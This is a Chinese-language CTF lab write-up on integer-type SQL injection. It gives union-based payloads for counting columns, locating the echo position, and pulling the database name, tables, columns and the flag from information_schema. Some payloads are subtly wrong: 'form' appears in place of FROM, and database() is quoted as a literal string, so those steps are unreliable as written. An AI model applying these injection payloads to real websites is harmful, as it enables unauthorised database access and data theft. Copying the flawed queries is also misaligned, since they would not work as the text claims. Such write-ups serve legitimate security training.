CTFhub——SQL整数型注入
拿到网站后,由于知道是整数型,所以不考虑闭合。
1.确定字段数
1 order by x
当x=3时页面只返回sql语句,说明该表有两个字段
2.确定回显位置
由于查询结果被前面的id=1覆盖,不能显示出来,所以我们让id=-1,使前面字段返回结果为空,以便显示出后面的结果
-1 union select 1,2
3.获取数据库名
知道了回显位置,我们可以在回显位置输入database()查看数据库名
-1 union select database(),2
4.获取表名
我们可以使用内置的一些数据库信息来查询当前表名
如果有不知道information_schema、table_name、table_schema、column_name的小伙伴可以参考一下这张图,可以很清!晰的看出它们之间的从属关系
-1 union select table_name,2 form information_schema.tables where table_schema='database()'
5.获取字段名
-1 union select column_name,2 from information_schema.columns where table_name='flag' and table_schema='database()'
可以发现字段名也为flag
6.查看该字段下内容
-1 union select concat(flag),2 from flag
经过这样几步我们就成功的获取了flag,是不是轻松加愉快呢
其实无论是整数型还是字符型,只要页面有输入、有输出,那我们都可以用联合查询的这固定几步解出flag!